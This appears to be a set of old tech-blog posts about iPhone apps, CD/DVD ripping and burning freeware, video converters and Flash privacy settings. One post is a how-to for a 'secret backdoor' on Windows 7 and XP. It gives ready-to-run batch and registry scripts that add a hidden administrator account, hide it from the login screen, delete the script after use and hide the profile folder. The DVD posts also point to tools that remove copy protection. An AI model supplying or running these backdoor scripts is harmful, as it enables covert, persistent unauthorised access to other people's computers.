7: Genius Scan

This app turns your iPhone into a document scanner (well kind of). Its free and works brilliantly!

8: Sky+

Ever wanted to tell your Sky decoder to record any program remotely. On holiday in another country? Tell your Sky box to record! It also features a 7 day program guide.

9: NavFree UK and NavFree USA

This is a fully fledged SatNav for your iPhone with maps built in - so you don't need an active 3G connection to use it. Think about your next holiday to the UK or USA and how much data roaming would cost you!

It reminds me of your typical TomTom or Garmin dashboard mounted navigation type software and does work in a similar way. Some people have minor issues but it has worked perfectly for me every time.

Most features of NavFree are free however you can buy some premium content like Speed Camera locations for the UK and if you want all Ads Removed it will be 2.39 (cheap for this all singing and dancing SatNav)

Remember this is a BIG install on your iPhone so only run the installation when connected to WiFi.

10: Red Laser

Trust this app when you are shopping to quickly scan the barcode of your next favourite toy and run a price check against other stores. Quick, simple, fast and free.

Some other apps that are worth a mention for any geeks out there:

Shazam, Radio Player, Cineworld, Fring, Facebook, Twitter, Ocado, Amazon, Sainsburys, Tescos, Argos, Next, eBay, Game, B&Q, Waitrose, Homebase, Topshop, Debenhams, Moonpig, Yell.com, Dragon Dictation, Parcel, Heart R8, Google Places, Google Shopper, Sleep Talk, Sleep Cycle, Photoshop, Spirit Level, Camera Ruler, AroundMe, Sound Level, oScope, m-track Tuner, Oscillator, My Car Check, WebMD, Medscape, iStethPro, FirstAid, Light, Right Move, XE Currency, iMapMyRide, PCalc, VNC, Bump, RDP, Remote Mouse, Net Utility, Scany, SeeMyIP, Telnet, Speed Test, DTMF Pad, 3D Sun, Soho, NASA, Distant Suns, SkyView, Aurora Forecast and QuakeFeed.

Best Freeware CD Ripping Software

2011-03-18T14:57:00.001Z

All good CD ripping software (like Audiograbber) are no longer in development.

So if you need to grab a song from your CD and convert it to MP3 look no further.

#1 FairStars CD Ripper

http://www.fairstars.com/cd_ripper/index.html

Features: FairStars CD Ripper is a free powerful software for ripping audio CD tracks to WMA, MP3, OGG, VQF, FLAC, APE and WAV formats files on-the-fly. Free CDDB is supported(Querying & Submiting). It supports normalization when ripping, and also support ID3 tag. FairStars CD Ripper also supports playback with its built-in player.

PS: If you need the 'Lame Encoder' for anything - you can get it here: [Link] (free-codecs.com)

Secret Backdoor Password for Windows 7 and XP

2011-01-17T01:04:00.000Z

How to make a backdoor hidden user account for Windows 7 and Windows XP?
How to make a Windows account hidden/invisible at the login screen?
Windows 7 backdoor account for secret access?
Hide user account in Windows?

Essentially what you need to do is create an adiministrative account and then use the registry to hide it.

This would be the reg key you need to create : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon \SpecialAccounts\UserList - then by adding a DWORD(32bit) with the required UserAccountName and then setting the value to 0 and you are all done...

BUT there is a better and easier way! (sortof)

For Windows 7 Only - Do this:

Make a dos batch file (.bat) with Notepad (run as Admin) [If you don't know how - you shouldn't be here]

Copy and paste the following in: (Leave the SNIP part off!!)

Don't forget to change the "PutYourUserNameHere" and "SomeSecretPasswordHere" to what you want.

---SNIP START---

@echo off
SET SECRETUSER=PutYourUserNameHere
SET SECRETPASSWORD=SomeSecretPasswordHere

net user %SECRETUSER% %SECRETPASSWORD% /add && net localgroup administrators %SECRETUSER% /add>nul 2>&1

---SNIP END---

Save as "makesecretuser.bat" (use inverted commas) and Run the batch file as Administrator (Either with Right Click or with Admin Dos Prompt)

THEN FOR NEXT BIT OF MAGIC

Make a registry file (.reg) with Notepad (run as Admin)

Copy and paste the following in: (Leave the SNIP part off!!)

Don't forget to replace "PutYourSecretUserAccountNameHere" with the account name you set above.

---SNIP START---

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]

"PutYourSecretUserAccountNameHere"=dword:00000000

---SNIP END---

Save as "hidesecretuser.reg" (use inverted commas) and Run the registry file as Administrator (Either with Right Click or with Admin Dos Prompt)

Jump to the end of this doc to finish off.

For Windows XP Only - Do this:

Make a dos batch file (.bat) with Notepad [If you don't know how - you shouldn't be here]

Copy and paste the following in: (Leave the SNIP part off!!)

Don't forget to change the "PutYourUserNameHere" and "SomeSecretPasswordHere" to what you want.

---SNIP START---

@echo off

rem Use the following 2 lines to put YOUR details in

SET SECRETUSER=PutYourUserNameHere

SET SECRETPASSWORD=SomeSecretPasswordHere

rem This will create the account

net user %SECRETUSER% %SECRETPASSWORD% /add && net localgroup administrators %SECRETUSER% /add>nul 2>&1

rem This will hide the account in the registry

reg.exe ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList” /v %SECRETUSER% /t REG_DWORD /d 0 /f>nul 2>&1

rem The following line will auto delete this batch file once its run once

DEL %0

---SNIP END---

Save as "makesecretuser.bat" (use inverted commas) and Run the batch file as Administrator.

Finishing off for both Win7 and XP - Do this:

Once you have created the account and logged in as this SECRET USER then you should hide the User Folder on the drive.

At the dos prompt type the following:

attrib +r +a +s +h %USERPROFILE%

All done!

Best DVD Writing and Ripping Freeware

2011-01-02T01:14:00.001Z

What is the best free DVD writing software? What is the best free DVD ripping software? Best free DVD ripper? What is the best alternative to Nero Burning Rom thats free? How do I rip DVDs to AVI or MP4?

Newer DVD's have man made copy protection errors on the disk to make backing up your video almost impossible. Maybe you are just trying to fix a nasty scratch on your favourite disk that won't read in your DVD player.

You have a few options for ripping a DVD for free and not so free:

#1 DVD Decrypter

Okay I know its out of development but it does work. Rip it and then use "Dvd Shrink" to compress any video files that are too big to fit on a regular single layer disk. If you need to copy/rip a DVD that is highly protected it may be time to look at option 2 below using ~~Handbrake~~ Freemake and AnyDVD. Problem is there is little that is really free in this type of software. Tip: Go to Tools, Settings, I/O tab, Options (bottom right), Change both Software Read/Write Error Retries to 0 and Tick the 'Ignore Read Errors' box.

#2 Handbrake (Use Freemake Video Converter instead)

A very useful tool. It rips and converts. Its totally free and open-source but it will not do copy protection.

So this is where your copy of AnyDVD will come in handy.
Here is the UPDATED page on conversion: http://pcbin.blogspot.com/2011/05/convert-dvd-anything-to-avi-divx-for.html

#3 AnyDVD by SlySoft (the not so free option - sorry)

It works like magic - as it will automatically sit in your taskbar tray and remove copy protection on the fly with any software that you are using. Like "Dvd Shrink" or "Handbrake" or "Freemake Video Converter".

The best free software to burn CD / DVD / HD DVD / Blu-ray these day is probably with ImgBurn.

http://www.imgburn.com/

Any problems - check the FAQ here: http://forum.imgburn.com/index.php?showtopic=59

It lightweight and just works - forget Nero its bloat-ware.

How to write a DVD movie with ImgBurn?

(If you have AnyDVD running - right click and untick the Enable AnyDVD line)

When burning a DVD movie to disk choose "Write files/folders to disk" mode.

Then find the little yellow icon (third one down) that says "Browse for a folder.."

Then highlight the VIDEO_TS and click "Select Folder"

Hit the "Build/Burn" go button and you are on your way.

ImgBurn automatically creates the AUDIO_TS folder for you. Nice little program!

Best Freeware Video Converter

2011-01-02T00:13:00.006Z

So what is the best free video converter ? (One that works and is really free)
Tags: Convert avi to mp4, convert dvd to iphone, convert dvd to mp4, convert dvd to avi.

I will save you a lot research trauma, time, virus infections, poor quality software and so called freeware that you wind up paying for.
If you need to convert that DVD to AVI or convert a movie to watch on your iPhone this is for you!

Here is the UPDATED version of this document: http://pcbin.blogspot.com/2011/05/convert-dvd-anything-to-avi-divx-for.html

#1: Freemake Video Converter

Convert video free to AVI, MP4, WMV, MKV, SWF, 3GP, MPEG, DVD, Blu-ray, MP3, iPod, iPhone, iPad, PSP, PS3, Android, YouTube, and more with...

Convert video free to the most popular video formats. Rip unprotected DVDs. Use our Video Converter as AVI converter, MPEG converter or 3GP converter. Convert video and audio files to MP3 with our free video converter.

Convert Free to iPhone, iPad, iPod Classic, iPod Touch, iPod Nano, iPod 5G, iPhone, iPad, Sony PSP, PS2, PS3, BlackBerry, Xbox, Apple TV, Android mobile devices, smartphones, etc.

Also allows you to Cut, Join, Rotate, Limit size, Adjust to aspect ratio of your video.

Grab/capture video from web sites:

Download video from YouTube, Hulu, Facebook, MTV, Vevo, ComedyCentral, Vimeo, Dailymotion, Megavideo, Metacafe, Break, 40+ sites with...

Freemake Video Downloader

#2: Handbrake

HandBrake is an open-source, GPL-licensed, multiplatform, multithreaded video transcoder, available for MacOS X, Linux and Windows.

Any DVD-like source: VIDEO_TS folder, DVD image or real DVD (unencrypted--protection methods including CSS are not supported internally and must be handled externally with third-party software and libraries), and some .VOB and .TS files
Most any multimedia file it can get libavformat to read and libavcodec to decode.

Outputs File format: MP4 and MKV
Video: MPEG-4, H.264, or Theora
(Worth checking the FAQ if you install this: http://trac.handbrake.fr/wiki/SupportFAQ)

***

For Expert Pro Editors / Filters / Processing try Avidemux , VirtualDubMod , VirtualDub , Doom9 .
Some are out of development but there is a reason they are still being used!

Alternatively try the video editor called VideoSpin (similar to Windows Movie Editor with DivX) but be careful its not as free as they make it out to be and its a long download.
This is the blurb:
VideoSpin includes a 15 day trial of advanced video codecs (MPEG2, MPEG4, DivX)
To use those codecs you need to but the SpinPack.
SpinPack: SpinPack Encoders and Decoders
Price: £ 6.99
* MP3 Audio: ideal audio for portable players
* MPEG-1: ideal for VideoCDs
* MPEG-2: offers DVD-quality results
* MPEG-4/DIvX: great quality in small files for the web, portable devices such as iPod and Sony PSP, cell phones, etc.
* Dolby Digital 2 Channel Audio: needed to create DVD’s and movies on your iPod and PSP
* AMR Audio: great audio quality for mobile devices

DivX , XviD , Other Codecs
What Codec? How to identify the codec of a file? Try this great free tool: MediaInfo
Last tip of the day - if you stuck with Windows Media Player not doing all it should - try Gom Player!

Adobe Flash Player Settings Manager

2010-12-31T19:45:00.001Z

How do you change your privacy settings for Adobe Flash player?
Somehow Adobe Flash player loves to keep secrets.
Even when you run ccleaner, clean your cookies, cache or temp folders - flash keeps its data!!

Here is the solution on how to control flash players access to:

Access to your private webcam and microphone!
Your flash player cache storage size.
Third party website storage access from sites you have yet to visit.
Local access to your files.
Update settings.
Flash player license files.
Web privacy settings.
Flash browsing history!
Peer assisted storage settings.

Get back in control. Click below to access the "Adobe Flash Player Settings Manager"!

http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager07.html

Even though the settings bit looks like an image - its not - make your changes and it will save to your local pc.

PS: Its a good idea to also make sure you tick "Disable P2P Uplink For All" on the Peer Assisted page (far right).